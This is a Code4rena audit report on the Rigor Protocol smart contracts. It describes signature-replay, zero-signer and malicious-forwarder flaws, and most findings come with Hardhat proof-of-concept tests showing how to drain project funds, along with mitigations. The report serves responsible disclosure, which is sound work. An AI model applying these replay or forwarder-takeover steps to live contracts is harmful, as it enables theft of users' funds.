Rigor Protocol contest - 0xA5DF's results

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Community.sol#L508-L552

Vulnerability details

Impact

Once the escrow function ran once, any user can run it endless times, reducing the amount of rToken the community owner holds. This can be done by any user, meaning it can also be done by external users just for trolling the system.

Proof of Concept

I've modified this test to run escrow() multiple times and it worked (the test failed with AssertionError: Expected "586845" to be equal 27945)

diff:

@@ -1955,7 +1957,10 @@ export const communityTests = async ({
         agentSigner,
       ]);
 
-      const tx = await communityContract.escrow(encodedData, signature);
+      let tx = await communityContract.escrow(encodedData, signature);
+      for (let i = 0; i < 20; i++) {
+        tx = await communityContract.escrow(encodedData, signature);
+      }
       await tx.wait();
 
       expect(tx)

Recommended Mitigation Steps

• Use an increasing nonce to protect escrow from signature reusing

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L386-L490 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L330-L359 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/libraries/Tasks.sol#L153-L164

Vulnerability details

This attack path is the results of signatures reusing in 2 functions - changeOrder() and setComplete(), and a missing modifier at Tasks.unApprove() library function.

Impact

Draining the project from funds

Current or previous subcontractor of a task can drain the project out of its funds by running setComplete() multiple times.

This can be exploited in 3 scenarios:

• The price of a task was changed to a price higher than available funds (i.e. totalLent - _totalAllocated, and therefore gets unapproved), and than changed back to the original price (or any price that's not higher than available funds)
• The subcontractor for a task was changed via changeOrder and then changed back to the original subcontractor
  • e.g. - Bob was the original SC, it was changed to Alice, and then back to Bob
• Similar to the case above, but even if the current SC is different from the original SC - it can still work if the current and previous SCs are teaming up to run the attack
  • e.g. Bob was the original SC, it was changed to Alice, and changed again to Eve. And now Alice and Eve are teaming up to drain funds from the project

After setComplete() ran once by the legitimate users (i.e. signed by contractor, SC and builder), the attackers can now run it multiple times:

• Reuse signatures to run changeOrder() - changing SC or setting the price to higher than available funds
  • The only signer that might change is the subcontractor, he's either teaming up with the attacker (scenario #3) or he was the SC when it was first called (scenario #2)
• In case of price change:
  • change it back to the original price via changeOrder(), reusing signatures
  • Run allocateFunds() to mark it as funded again
• SC runs acceptInvite() to mark task as active
• Run setComplete() reusing signatures
  • If SC has changed - replace his signature with the current one (current SC should be one of the attackers)
• Repeat till the project runs out of funds

Changing tasks costs/subcontractor by external users

This can also be used by external users (you don't need to be builder/GC/SC in order to run changeOrder()) to troll the system (This still requires the task to be changed at least twice, otherwise re-running changeOrder() with the same data would have no effect).

• Changing the task cost up or down, getting the SC paid a different amount than intended (if it goes unnoticed, or front-run the setComplete() function)
• Unapproving a task by setting a different SC or a price higher than available funds
  • The legitimate users can change it back, but the attacker can change it again, both sides playing around till someone gets tired :)

Proof of Concept

Since the tests depend on each other, the PoC tests were created by adding them to the file test/utils/projectTests.ts, after the function it('should be able to complete a task' ( Line 1143 ).

In the first test - a subcontractor is changed and then changed back. In the second scenario a price is changed to the new price (that is higher than the total available funds, and therefore is unapproved) and then back to its original price (it can actually be any price that is not higher than the available funds). In both cases I'm demonstrating how the project can be drained out of fund,

  type DataType = {
    types: string[];
    values: (string | number)[];
  };

  it('PoC change SC', async () => {



    const taskID = 1;
    let taskDetails = await project.getTask(taskID);
    const scBob = taskDetails.subcontractor;
    const scAliceSigner = signers[4];
    console.log({ scBob, alice: scAliceSigner.address });
    const newCost = taskCost; // same as old
    console.log(taskDetails);
    // await (await project.inviteSC([taskID], [signers[2].address])).wait();

    const changeToAliceData = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, scAliceSigner.address, newCost, project.address],
    };
    const changeToAliceSignedData = await signData(changeToAliceData);

    await changeSC(changeToAliceSignedData[0], changeToAliceSignedData[1]);

    const changeToBobData = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, scBob, newCost, project.address],
    };
    const changeToBobSignedData = await signData(changeToBobData);

    await changeSC(changeToBobSignedData[0], changeToBobSignedData[1]);

    const bobSigner = getSignerByAddress(signers, scBob);
    await (await project.connect(bobSigner).acceptInviteSC([taskID])).wait();

    // for some reason if you don't do this you get 'Mock on the method is not initialized' error
    await mockDAIContract.mock.transfer
      .withArgs(scAliceSigner.address, taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(scBob, taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(await homeFiContract.treasury(), taskCost / 1e3)
      .returns(true);


    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [taskID, project.address],
    };
    let setCompleteSignedData = await signData(setCompleteData);
    let tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]);
    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);


    // attack start
    await changeSC(changeToAliceSignedData[0], changeToAliceSignedData[1]);

    await (await project.connect(scAliceSigner).acceptInviteSC([taskID])).wait();

    // the only thing that has changed is that alice became a subcontractor
    // IRL Alice can simply take the old signatures and replace Bob's signature
    // with her own signature
    let aliceSetCompleteSignedData = await signData(setCompleteData);


    tx = await project.setComplete(setCompleteSignedData[0], aliceSetCompleteSignedData[1]);
    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);

    await changeSC(changeToBobSignedData[0], changeToBobSignedData[1]);
    await changeSC(changeToAliceSignedData[0], changeToAliceSignedData[1]);

    await (await project.connect(scAliceSigner).acceptInviteSC([taskID])).wait();
    
    tx = await project.setComplete(setCompleteSignedData[0], aliceSetCompleteSignedData[1]);
    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);
    

    async function signData(data: DataType) {
      let contractor = await project.contractor();
      let builder = await project.builder();
      let taskDetails = await project.getTask(taskID);
      let sc = taskDetails.subcontractor;
      // console.log({ contractor, builder, sc })

      let changeSignersAddress = [contractor, sc];
      let contractorDelegated = await project.contractorDelegated();
      if (!contractorDelegated) {
        changeSignersAddress.unshift(builder);
      }
      changeSignersAddress = changeSignersAddress.filter(x => x !== ethers.constants.AddressZero);
      const dataSigners = changeSignersAddress.map(signer => getSignerByAddress(signers, signer));

      // console.log({ changeSignersAddress })
      return await multisig(data, dataSigners);
    }

    async function changeSC(encodedData: string, signature: string) {
      const tx = await project.changeOrder(encodedData, signature);
      tx.wait();
      await expect(tx).to.emit(project, 'ChangeOrderSC');
    }
  });


  it('PoC change cost', async () => {
    const taskID = 1;
    let taskDetails = await project.getTask(taskID);
    const originalSC = taskDetails.subcontractor;
    const originalCost = taskCost; 
    const veryHighNewCost = taskCost * 10;
    console.log(taskDetails);
    // await (await project.inviteSC([taskID], [signers[2].address])).wait();

    const changeToNewData = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, originalSC, veryHighNewCost, project.address],
    };
    const changeToNewSignedData = await signData(changeToNewData);

    await changeCost(changeToNewSignedData[0], changeToNewSignedData[1]);

    const changeBackToOldData = {
      types: ['uint256', 'address', 'uint256', 'address'],
      values: [taskID, originalSC, originalCost, project.address],
    };
    const changeBackToOldSignedData = await signData(changeBackToOldData);

    await changeCost(changeBackToOldSignedData[0], changeBackToOldSignedData[1]);
    taskDetails = await project.getTask(taskID);

    await expect(taskDetails.cost).to.be.equal(originalCost);

    const originalSCSigner = getSignerByAddress(signers, originalSC);
    await (await project.connect(originalSCSigner).acceptInviteSC([taskID])).wait();
    await project.allocateFunds();

    // for some reason if you don't do this you get 'Mock on the method is not initialized' error
    await mockDAIContract.mock.transfer
      .withArgs(originalSC, taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(await homeFiContract.treasury(), taskCost / 1e3)
      .returns(true);


    const setCompleteData = {
      types: ['uint256', 'address'],
      values: [taskID, project.address],
    };
    let setCompleteSignedData = await signData(setCompleteData);
    let tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]);
    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);


    // attack start
    await changeCost(changeToNewSignedData[0], changeToNewSignedData[1]);
    await changeCost(changeBackToOldSignedData[0], changeBackToOldSignedData[1]);

    await (await project.connect(originalSCSigner).acceptInviteSC([taskID])).wait();
    await project.allocateFunds();



    tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]);
    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);

    await changeCost(changeToNewSignedData[0], changeToNewSignedData[1]);
    await changeCost(changeBackToOldSignedData[0], changeBackToOldSignedData[1]);

    await (await project.connect(originalSCSigner).acceptInviteSC([taskID])).wait();
    await project.allocateFunds();

    tx = await project.setComplete(setCompleteSignedData[0], setCompleteSignedData[1]);
    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);
    
    async function signData(data: DataType) {
      let contractor = await project.contractor();
      let builder = await project.builder();
      let taskDetails = await project.getTask(taskID);
      let sc = taskDetails.subcontractor;
      // console.log({ contractor, builder, sc })

      let changeSignersAddress = [contractor, sc];
      let contractorDelegated = await project.contractorDelegated();
      if (!contractorDelegated) {
        changeSignersAddress.unshift(builder);
      }
      changeSignersAddress = changeSignersAddress.filter(x => x !== ethers.constants.AddressZero);
      const dataSigners = changeSignersAddress.map(signer => getSignerByAddress(signers, signer));

      // console.log({ changeSignersAddress })
      return await multisig(data, dataSigners);
    }

    async function changeCost(encodedData: string, signature: string) {
      const tx = await project.changeOrder(encodedData, signature);
      tx.wait();
      // await expect(tx).to.emit(project, 'ChangeOrderSC');
    }
  });

Tools Used

Hardhat

Recommended Mitigation Steps

• Use nonce to protect setComplete() and changeOrder() from signatures reuse
• Add the onlyActive() modifier to Tasks.unApprove()
• Consider limiting allocateFunds() for builder only (this is not necessary to resolve the bug, just for hardening security)

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L498-L527

Vulnerability details

Since SignatureDecoder.recoverKey returns zero on failure, if the contractor isn't set yet - the logical expression signer == builder || signer == contractor will pass as true.

Impact

Any user can raise disputes as long as the project doesn't have a contractor.

• This gives the admin the ability to steal a project's funds by adding a fake task with its own subcontractor and then setting it as complete (and also modifying previous orders' SCs or cost, stealing basically all funds held by the project contract).
  • This is not only an issue of 'not trusting the admin' but also in case the admin's wallet has been compromised, this bug gives the attacker access to assets he shouldn't have
• This can also be used by external users just for spamming the system with fake disputes

Proof of Concept

I've added the following test after disputeTests.ts#L305. The test will fail, meaning the bug exists.

    it('PoC anybody can raise dispute for a project without contractor', async () => {
      await builderLend(project2, mockDAIContract, signers[0]);
      let tx;

      let data = {
        types: types.taskAdd,
        values: [[exampleHash, exampleHash], [2e11, 2e11], 0, project2Address],
      };
      let [encodedData, signature] = await multisig(data, [
        signers[0],
        signers[1],
      ]);
      tx = await project2.connect(signers[0]).addTasks(encodedData, signature);
      tx = await project2
        .connect(signers[0])
        .inviteSC([1, 2], [signers[2].address, signers[2].address]);
      // build failing change order dispute transaction
      const actionValues = [
        1,
        signers[3].address,
        500000000000,
        project2Address,
      ];
      [encodedData] = await makeDispute(
        project2Address,
        2,
        2,
        actionValues,
        signers[2],
        '0xabcd',
      );
      // we're using an empty signature so that `recoverKey` will return 0
      signature = "0x";
      tx = project2.connect(signers[2]).raiseDispute(encodedData, signature);
      // expect transaction to revert
      // test doesn't pass = bug exists
      await expect(tx).to.be.revertedWith('Project::!SCConfirmed');
    });

Recommended Mitigation Steps

Revert if the signer address is zero:

        address signer = SignatureDecoder.recoverKey(
            keccak256(_data),
            _signature,
            0
        );
+        require(signer != address(0), "Project::zero signer");

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L156-L169 https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/HomeFi.sol#L199-L208

Vulnerability details

Impact

In case where the admin wallet has been hacked, the attacker can drain all funds out of the project within minutes. All the attacker needs is the admin to sign a single meta/normal tx. Even though the likelihood of the admin wallet being hacked might be low, given that the impact is critical - I think this makes it at least a medium bug.

Examples of cases where the attacker can gain access to admin wallet:

• The computer which the admins are using has been hacked
  • Even if a hardware wallet is used, the attacker can still replace the data sent to the wallet the next time the admin has to sign a tx (whether it's a meta or normal tx)
• The website/software where the meta tx data is generated has been hacked and attacker modifies the data for tx
• A malicious website tricks the admin into signing a meta tx to replace the admin or forwarder

Since the forwarder has the power to do everything in the system , once an attacker manages to replace it with a malicious forwarder, he can do whatever he wants withing minutes:

• The forwarder can replace the admin
• The forwarder can drain all funds from all projects by changing the subcontractor and marking tasks as complete, or adding new tasks / changing task cost as needed.

Even when signatures are required, you can bypass it by using the approveHash function.

Proof of Concept

Here's a PoC for taking over and running the Project.setComplete() function (I haven't included a whole process of changing SC etc. since that would be too time consuming, but there shouldn't be a difference between functions, all can be impersonated once you control the forwarder).

The PoC was added to projectTests.ts#L1109, and is based on the 'should be able to complete a task' test.

  it('PoC forwarder overtake', async () => {
    const attacker = signers[10];


    // deploy the malicious forwarder
    const maliciousForwarder = await deploy<MaliciousForwarder>('MaliciousForwarder');
    const adminAddress = await homeFiContract.admin();
    const adminSigner = getSignerByAddress(signers, adminAddress);
    // attacker takes over
    await homeFiContract.connect(adminSigner).setTrustedForwarder(maliciousForwarder.address);
      
    // attacker can now replace the admin, so that admin can't set the forwarder back
    let { data } = await homeFiContract.populateTransaction.replaceAdmin(
      attacker.address
    );
    let from = adminAddress;
    let to = homeFiContract.address;
    if (!data) {
      throw Error('No data');
    }
    let tx = await executeMetaTX(from, to, data);

    // assert that admin has been replaced by attacker
    expect(await homeFiContract.admin()).to.be.eq(attacker.address);

    // attacker can now execute setComplete() using the approveHash() method

    const taskID = 1;
    const _taskCost = 2 * taskCost;
    const taskSC = signers[3];
    let completeData = {
      types: ['uint256', 'address'],
      values: [taskID, project.address],
    };
    const [encodedData, hash] = await encodeDataAndHash(completeData);
    await mockDAIContract.mock.transfer
      .withArgs(taskSC.address, _taskCost)
      .returns(true);
    await mockDAIContract.mock.transfer
      .withArgs(await homeFiContract.treasury(), _taskCost / 1e3)
      .returns(true);

    ({data} = await project.populateTransaction.approveHash(hash));
    let contractor = await project.contractor();
    let {subcontractor} = await project.getTask(taskID);
    let builder = await project.builder();

    await executeMetaTX(contractor, project.address, data as string);
    await executeMetaTX(subcontractor, project.address, data as string);
    await executeMetaTX(builder, project.address, data as string);
    

    tx = await project.setComplete(encodedData, "0x");
    await tx.wait();

    await expect(tx).to.emit(project, 'TaskComplete').withArgs(taskID);

    const { state } = await project.getTask(taskID);
    expect(state).to.equal(3);
    const getAlerts = await project.getAlerts(taskID);
    expect(getAlerts[0]).to.equal(true);
    expect(getAlerts[1]).to.equal(true);
    expect(getAlerts[2]).to.equal(true);
    expect(await project.lastAllocatedChangeOrderTask()).to.equal(0);
    expect(await project.changeOrderedTask()).to.deep.equal([]);

    async function executeMetaTX(from: string, to: string, data: string ) {
      const gasLimit = await ethers.provider.estimateGas({
        to,
        from,
        data,
      });
      const message = {
        from,
        to,
        value: 0,
        gas: gasLimit.toNumber(),
        nonce: 0,
        data,
      };

      // @ts-ignore
      let tx = await maliciousForwarder.execute(message, "0x");
      return tx;
    }
  });


// ----------------------------------------------------- //
// Added to ethersHelpers.ts file:
export function encodeDataAndHash(
  data: any): string[] {
  const encodedData = encodeData(data);
  const encodedMsgHash = ethers.utils.keccak256(encodedData);
  return [encodedData, encodedMsgHash];
}

Recommended Mitigation Steps

• Limit approveHash to contracts only - I understood from the sponsor that it is used for contracts to sign hashes. So limiting it to contracts only can help prevent stealing funds (from projects that are held by EOA) in case that the forwarder has been compromised (this is effective also in case there's some bug in the forwarder contract).

  • Alternately, you can also make it use msg.sender instead of _msgSender(), this will also have a similar effect (it will allow also EOA to use the function, but not via forwarder).
    • The advantage is that not only it wouldn't cost more than now, it'll even save gas.
    • Another advantage is that it will also protect projects held by contracts from being impersonated by a malicious forwarder

• Make the process of replacing the forwarder or the admin a 2 step process with a delay between the steps (except for disabling the forwarder, in case the forwarder was hacked). This will give the admin the option to take steps to stop the attack, or at least give the users time to withdraw their money.

    /// @inheritdoc IHomeFi
    function replaceAdmin(address _newAdmin)
        external
        override
        onlyAdmin
        nonZero(_newAdmin)
        noChange(admin, _newAdmin)
    {
        // Replace admin
        pendingAdmin = _newAdmin;

        adminReplacementTime = block.timestamp + 1 days;
        emit AdminReplaceProposed(_newAdmin);
    }

        /// @inheritdoc IHomeFi
    function executeReplaceAdmin()
        external
        override
        onlyAdmin

    {
        require(adminReplacementTime > 0 && block.timestamp > adminReplacementTime, "HomeFi::adminReplacmantTime");
        // Replace admin
        admin = pendingAdmin;

        emit AdminReplaced(_newAdmin);
    }
    /// @inheritdoc IHomeFi
    function setTrustedForwarder(address _newForwarder)
        external
        override
        onlyAdmin
        noChange(trustedForwarder, _newForwarder)
    {
        // allow disabling the forwarder immediately in case it has been hacked
        if(_newForwarder == address(0)){
            trustedForwarder = _newForwarder;
        }
        forwarderSetTime = block.timestamp + 3 days;
        pendingTrustedForwarder = _newForwarder;
    }

    function executeSetTrustedForwarder(address _newForwarder)
        external
        override
        onlyAdmin
    {
        require(forwarderSetTime > 0 &&  block.timestamp > forwarderSetTime, "HomeFi::forwarderSetTime");
        trustedForwarder = pendingTrustedForwarder;
    }

• Consider removing the meta tx for HomeFi onlyAdmin modifier (i.e. usg msg.sender instead of _msgSender()), given that it's not going to be used that often it may be worth giving up the comfort for hardening security

Lines of code

https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L493-L536

Vulnerability details

Impact

In case users are using a contract (like a multisig wallet) to interact with a project, they can't raise a dispute.

The sponsors have added the approveHash() function to support users who wish to use contracts as builder/GC/SC. However, the Project.raiseDispute() function doesn't check them, meaning if any of those users wish to raise a dispute they can't do it.

Proof of Concept

I've modified the following test, trying to use an approved hash. The test failed.

  it('Builder can raise addTasks() dispute', async () => {
      let expected = 2;
      const actionValues = [
        [exampleHash],
        [100000000000],
        expected,
        projectAddress,
      ];
      // build and raise dispute transaction
      const [encodedData, signature] = await makeDispute(
        projectAddress,
        0,
        1,
        actionValues,
        signers[0],
        '0x4222',
      );
      const encodedMsgHash = ethers.utils.keccak256(encodedData);
      await project.connect(signers[0]).approveHash(encodedMsgHash);
      let tx = await project
        .connect(signers[1])
        .raiseDispute(encodedData, "0x");
      // expect event
      await expect(tx)
        .to.emit(disputesContract, 'DisputeRaised')
        .withArgs(1, '0x4222');
      // expect dispute raise to store info
      const _dispute = await disputesContract.disputes(1);
      const decodedAction = abiCoder.decode(types.taskAdd, _dispute.actionData);
      expect(_dispute.status).to.be.equal(1);
      expect(_dispute.taskID).to.be.equal(0);
      expect(decodedAction[0][0]).to.be.equal(exampleHash);
      expect(decodedAction[1][0]).to.be.equal(100000000000);
      expect(decodedAction[2]).to.be.equal(expected);
      expect(decodedAction[3]).to.be.equal(projectAddress);
      // expect unchanged number of tasks
      let taskCount = await project.taskCount();
      expect(taskCount).to.be.equal(expected);
    });

Recommended Mitigation Steps

Make raiseDispute() to check for approvedHashes too

HomeFiProxy.initiateHomeFi() can be front-run by anybody

Code: HomeFiProxy.sol#L58-L90

HomeFiProxy is created and initialized (initiateHomeFi()) in 2 separate txs, meaning somebody can front run the init tx and init it with its own proxies.

This is not significant, but since HomeFiProxy isn't a proxy, it's better to call initiateHomeFi() at the constructor (or just make it the constructor), this will also save some gas (using only one tx instead of 2).

HomeFiProxy doesn't initialize proxies it creates

Code: HomeFiProxy.sol#L100-L116 HomeFiProxy.sol#L58-L90 HomeFiProxy.sol#L216-L230

HomeFiProxy doesn't initialize the contracts it creates at addNewContract and initiateHomeFi, counting on the devs to init them at a different tx (as can be seen in the deploy script). However, somebody can front run the devs and initialize the proxy with his own parameters before they do it.

Mitigation

Initialize the proxies during creation, this can be done by passing the initialization call data as the third parameter for new TransparentUpgradeableProxy().

Some proxy implementation aren't initialized by default

Besides the Project contract, all other implementation contracts don't initialize by default, meaning anybody can initialize it. This is currently not an issue since there are no delegation calls that can destroy the contract, but it might be an issue if you do include delegation in the future and forget to initialize it.

Mitigation

Add the initializer modifier to the constructors of all proxy implementations: constructor() initializer {}

2 step ownership transfer

Code: HomeFi.sol#L156-L168

The HomeFi contract uses a one step ownership transfer, which means in case there's an error in the new admin address and it doesn't actually exists - there's no way to recover that. Using a 2 step ownership transfer, where the pending owner has to accept the admin role will prevent this:

    /// @inheritdoc IHomeFi
    function replaceAdmin(address _newAdmin)
        external
        override
        onlyAdmin
        nonZero(_newAdmin)
        noChange(admin, _newAdmin)
    {
        pendingAdmin = _newAdmin;

    }
      /// @inheritdoc IHomeFi
    function acceptAdminRole()
        external
        override
    {
        // Replace admin
        require(msg.sender == pendingAdmin, "HomeFi::not pending admin");
        admin = pendingAdmin;
        emit AdminReplaced(admin);
    }

No check for signature failure at Community

Code: Community.sol#L167-L283

The following functions doesn't check that the signer isn't zero:

• addMember()
• publishProject() This allows users to add members and publish projects to a community using a broken hash, before the community is created without needing the owner's signature. (the members will be overridden by the new members after the community is created, but isMember will still return true)

signature reuse in Project.raiseDispute()

Code: Project.sol#L492-L536

• Once a dispute is raised it can be raised again reusing signatures, since there's no nonce protection
• This has no effect on the system but spamming

Mitigation

Add nonce to protect against signature reuse

Make ProjectFactory.homeFi immutable

Code: https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/Project.sol#L52

• Project.homeFi can't be changed after init of the clone
• Since ProjectFactory.homeFi can't be changed currently, that means it's also isn't changed across clones (i.e. all clones have the same value).
• homeFi is used every tx at the Project contract, since every tx calls isTrustedForwarder()
• The cost of reading homeFi from storage is 2.1K

Therefore consider making Project.homeFi immutable. If in the future you decide to make it modifiable, just change ProjectFactory.underlying contract and make it a storage var (or create the contract with a different value and keep it immutable).

Cache storage variable at ProjectFactory.createProject()

Code: https://github.com/code-423n4/2022-08-rigor/blob/5ab7ea84a1516cb726421ef690af5bc41029f88f/contracts/ProjectFactory.sol#L78-L93

Instead of reading homeFi from storage twice, cache it to memory. This will save ~100 gas units.

         returns (address _clone)
     {
+        address _homeFi = homeFi;
         // Revert if sender is not HomeFi
-        require(_msgSender() == homeFi, "PF::!HomeFiContract");
+        require(_msgSender() == _homeFi, "PF::!HomeFiContract");
 
         // Create clone of Project implementation
         _clone = ClonesUpgradeable.clone(underlying);
 
         // Initialize project
-        Project(_clone).initialize(_currency, _sender, homeFi);
+        Project(_clone).initialize(_currency, _sender, _homeFi);
     }